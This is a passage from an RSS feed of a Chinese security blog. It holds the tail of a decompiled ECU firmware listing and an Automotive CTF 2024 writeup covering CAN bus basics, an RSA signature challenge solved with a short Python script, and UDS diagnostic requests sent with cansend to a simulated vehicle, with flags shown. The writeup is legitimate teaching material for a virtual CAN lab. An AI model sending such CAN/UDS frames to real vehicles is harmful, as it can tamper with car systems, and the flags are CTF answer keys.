</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">55</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">byte_20032B40</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">36</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">result</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">byte_20032B0C</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">28</span><span class="p">]</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">      <span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">byte_20032B40</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">      <span class="k">return</span> <span class="nf">sub_8004268</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">byte_20032B40</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="o">++</span><span class="n">dword_20032B3C</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="n">dword_20032B38</span> <span class="o">=</span> <span class="n">dword_20032B10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">53</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>后面不想写了，去看yichen吧</p>
<hr>
<p>参考文章：</p>
<ol>
<li><a
  href="https://zhuanlan.zhihu.com/p/97953640" rel="nofollow noopener noreferrer" target="_blank"
  >一文读懂ECDSA算法如何保护数据<span style="user-select:none"> ↗</span></a
>
</li>
</ol>
]]></content:encoded><h:img src="https://h4cker.zip/1f51f4/vsec2025.webp"/><enclosure url="https://h4cker.zip/1f51f4/vsec2025.webp"/><category>caringcaribou</category><category>暴力破解</category><category>ECDSA</category><category>安全访问</category><category>Reverse</category></item><item><title>Automotive CTF 2024 Writeup</title><link>https://h4cker.zip/53c0e2/</link><pubDate>Mon, 18 Aug 2025 16:14:17 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/53c0e2/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>之前了解到了2024的汽车安全CTF，去搜了一下，发现官方提供了汽车安全的学习课程、还有靶场，这里记录靶场题解，还有学习过程中的内容，目前课程前面不少法律法规，很无聊</p>
<p>这个比赛的词条很多：VSEC 2024和</p>
<p>VicOne and Block Harbor&rsquo;s Automotive CTF</p>
<p>2025年的汽车安全CTF在8 月 22 日至 25 日和 8 月 29 日至 9 月 1 日开启，希望在这之前能刷完这些题目，去今年的比赛上做出一两道</p>
<blockquote>
<p>注意，由于2024的靶场已关闭，并且许多题目尚未迁移到BlockHarbor靶场（比如OSINT），所以我也做不了24年的题目，我是根据 Proving Grounds Walkthrough 的课程做的，目前课程里的题目全部做完，但是靶场里VSEC 的题目还差一些，后续会补充</p>
</blockquote>
<h2 id="getting-started">Getting Started<a class="anchor" href="#getting-started">#</a></h2>
<h3 id="can-you-find-the-interface">Can you find the interface?<a class="anchor" href="#can-you-find-the-interface">#</a></h3>
<p>打开UDS的模拟器，输入<code>ifconfig</code> 或者<code>ip link</code>都能找到<code>vcan0</code>的网卡名称</p>
<p>实际操作中应该是<code>can0</code>之类，v一般代表虚拟设备，用来调试、仿真</p>
<h3 id="arbitration">Arbitration<a class="anchor" href="#arbitration">#</a></h3>
<p><code>candump vcan0</code></p>
<p>输出：<code>vcan0  59E   [2]  9E 10</code></p>
<p><code>vcan0</code>是接口名称，表示 CAN 帧的来源接口</p>
<p><code>59E</code>就是标识符（仲裁ID），CAN ID 可以是 11 位（标准帧）或 29 位（扩展帧）。这里 59E 是 11 位标准帧（因为值在 0x000 到 0x7FF 范围内）。ID 决定了消息的优先级（数值越低，优先级越高）。具体含义取决于应用程序协议（如汽车中的 ECU 通信）</p>
<p><code>[2]</code>: 数据长度代码（DLC），表示 CAN 帧中 <strong>数据字段的字节数</strong>，范围是 0 到 8。</p>
<p><code>9E 10</code>: 数据字段， 这是 CAN 帧的 <strong>实际传输数据</strong>，以十六进制字节序列表示。</p>
<h3 id="data-field-1">Data Field 1<a class="anchor" href="#data-field-1">#</a></h3>
<p>2</p>
<h3 id="data-field-2">Data Field 2<a class="anchor" href="#data-field-2">#</a></h3>
<p>9E10</p>
<h3 id="message-frequency">Message Frequency<a class="anchor" href="#message-frequency">#</a></h3>
<p>赫兹是每秒发送的次数</p>
<p><code>candump -t a vcan0</code>，<code>-t a</code>的意思是显示精确时间戳</p>
<p>可以看到每次都隔了一秒左右，计算下来大约是1赫兹</p>
<h2 id="crypto">Crypto<a class="anchor" href="#crypto">#</a></h2>
<h3 id="pow-pow">pow pow!<a class="anchor" href="#pow-pow">#</a></h3>
<p>给了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="ln">1</span><span class="cl">I signed my flag, thats pretty much the same as encryption, right?
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl">pub_e: 65537
</span></span><span class="line"><span class="ln">4</span><span class="cl">pub_n: 27130058966678375728118690628915085193505679921867847648180394177280300520851322209827953313677610995977175396855400115719997248093217978788791475794191309606741245965521564249520758557425707716276357612383008262150259072257782913410617175802499340022388447047629022386881255413171331856263374853843961598744215379945538726953506454859112787839466674350352298690863753069032704210896554984332177790093120515590458961735089368466550753534317073220559703261053361251093853868715391272704827131460657841223647599202717920842362378900859386228898179814271143542598798022604629591665790726585192070387959726079579927264339
</span></span><span class="line"><span class="ln">5</span><span class="cl">flag: 4172204809297405811985500677636732349089473540889855289757337736512303070584208009356148963914969296139250262532036044670829787749340381486502259003934029518250084291211843615602473277568939725661998743287881104315586743909166094376545879628924755210696938802618107247235991939968132055218667508994013042802832653274036857030938271120371493508056689333496510130233288415153533743215499505779621204995381781585793891494891361783339201260743345041742788508748141553059420124837675803038062487182700364305742864198416705040747639989644160240694540025745969599421913149372250571544665491768421384384768919101583170066211</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">txt</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>RSA签名，最简单的RSA了，我不懂密码，但是deepseek思考这个居然死机了，其他AI脚本都给我生成好了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">27130058966678375728118690628915085193505679921867847648180394177280300520851322209827953313677610995977175396855400115719997248093217978788791475794191309606741245965521564249520758557425707716276357612383008262150259072257782913410617175802499340022388447047629022386881255413171331856263374853843961598744215379945538726953506454859112787839466674350352298690863753069032704210896554984332177790093120515590458961735089368466550753534317073220559703261053361251093853868715391272704827131460657841223647599202717920842362378900859386228898179814271143542598798022604629591665790726585192070387959726079579927264339</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">flagc</span> <span class="o">=</span> <span class="mi">4172204809297405811985500677636732349089473540889855289757337736512303070584208009356148963914969296139250262532036044670829787749340381486502259003934029518250084291211843615602473277568939725661998743287881104315586743909166094376545879628924755210696938802618107247235991939968132055218667508994013042802832653274036857030938271120371493508056689333496510130233288415153533743215499505779621204995381781585793891494891361783339201260743345041742788508748141553059420124837675803038062487182700364305742864198416705040747639989644160240694540025745969599421913149372250571544665491768421384384768919101583170066211</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">flagc</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">flag</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><code>bh{signing_is_not_encryption!}</code></p>
<h2 id="uds-challenge">UDS Challenge<a class="anchor" href="#uds-challenge">#</a></h2>
<p>为了做这题，我学习了一点点UDS基础，赶紧记下来做题。</p>
<p>首先感谢yichen大佬（小熊猫），然后推荐的文章是：</p>
<p><a
  href="https://zhuanlan.zhihu.com/p/37310388" rel="nofollow noopener noreferrer" target="_blank"
  >https://zhuanlan.zhihu.com/p/37310388<span style="user-select:none"> ↗</span></a
>
</p>
<h3 id="simulation-vin">Simulation VIN<a class="anchor" href="#simulation-vin">#</a></h3>
<p>既然要读取VIN，我们需要知道VIN存储在哪个地方，这个地方就用DID表示，比如DID里面F190就是存储VIN的地方，为什么是F190呢？因为是国际标准的规定，当然也有一些段是留给车厂自己自定义的。</p>
<blockquote>
<p>0xF190 VINDataIdentifier 该值应用于参考VIN号码。 记录数据内容和格式应由车辆制造商指定。</p>
</blockquote>
<p>我们要通过DID读取里面的数据，而这个功能则是SID为22的服务</p>
<p>根据前面CAN帧的学习，我们的数据已经构造好了就是简单的<code>22F190</code>，总共三个字节长，首部加上长度，<code>0322F190</code>，现在我们需要一个CAN ID，通常使用7DF，这个ID非常重要，是功能寻址，也就是广播消息，他会向所有ECU发送数据</p>
<p>现在我们的CAN帧就是<code>7DF#0322F190</code></p>
<p>先执行<code>candump -l vcan0 &amp;</code>，他会在后台保存所有日志</p>
<p>然后发送上面构造的消息</p>
<p><code>cansend vcan0 7DF#0322F190</code></p>
<p>查看日志</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">(1755797512.727185) vcan0 59E#9E10
</span></span><span class="line"><span class="ln">2</span><span class="cl">(1755797513.588803) vcan0 7DF#0322F190
</span></span><span class="line"><span class="ln">3</span><span class="cl">(1755797513.589071) vcan0 7E8#101462F190666C61
</span></span><span class="line"><span class="ln">4</span><span class="cl">(1755797513.728328) vcan0 59E#9E10
</span></span><span class="line"><span class="ln">5</span><span class="cl">(1755797514.729405) vcan0 59E#9E10</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><code>0x7E8</code> 到 <code>0x7EF</code> 通常预留给ECU用于响应诊断请求。<code>0x7E8</code> 通常是第一个ECU的响应地址。</p>
<p>第一个字节10表示这是一个“首帧”，就是要返回的数据很长，一次发不完，它先发你第一个帧，这些帧叫连续帧。</p>
<p>第二个字节14代表长度，与前面的0构成帧的总长度，014转十进制代表长度是20个字节</p>
<p>第三个字节62代表肯定的响应。<strong>肯定的响应</strong>（Positive Response），首字节回复**[SID+0x40]<strong>，比如我发送的SID是0x22，这里加上0x40就是0x62。<strong>否定的响应</strong>（Negative Response），首字节回复</strong>0x7F**，第二字节回复刚才询问的SID。</p>
<p>第四、五个字节F190代表回显的DID，以便诊断工具知道这个响应对应哪个请求</p>
<p>第六、七、八个字节就是实际数据，当然只是第一部分。</p>
<p>所以我们现在需要问它要剩下的帧，这里需要发送一个叫做“流控制帧”的东西</p>
<p><code>7E0#3000000000000000</code></p>
<p>7E8实际上是7E0的rsp，所以我们需要向7E0发帧</p>
<p>第一个字节30，是流控制帧的标识符，3代表这是流控帧</p>
<p>第二个字节00是块大小，告诉ECU，在等待下一个流控制帧之前，可以连续发送多少个连续帧。00表示ECU可以一次性发送所有剩余的连续帧，无需等待新的流控帧。如果写01，就代表它每发一个连续帧，就要等我发一个流控帧。</p>
<p>第三个字节00代表连续帧的最小间隔时间（毫秒），00代表没有延迟，立即发送</p>
<p>剩余字节都是00，是用来填充的，没有意义</p>
<p>发送流控帧：<code>cansend vcan0 7E0#3000000000000000</code></p>
<p>这里不知道为什么收不到消息，所以使用Arahat0师傅的方法，终端分屏，使用</p>
<p><code>candump vcan0,780:780</code>监听0x7E8、0x7DF、0x7E0等消息，重复之前的发包</p>
<p>收到</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">vcan0  7E8   [8]  21 67 7B 76 31 6E 5F 42
</span></span><span class="line"><span class="ln">2</span><span class="cl">vcan0  7E8   [8]  22 48 6D 61 63 68 33 7D</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
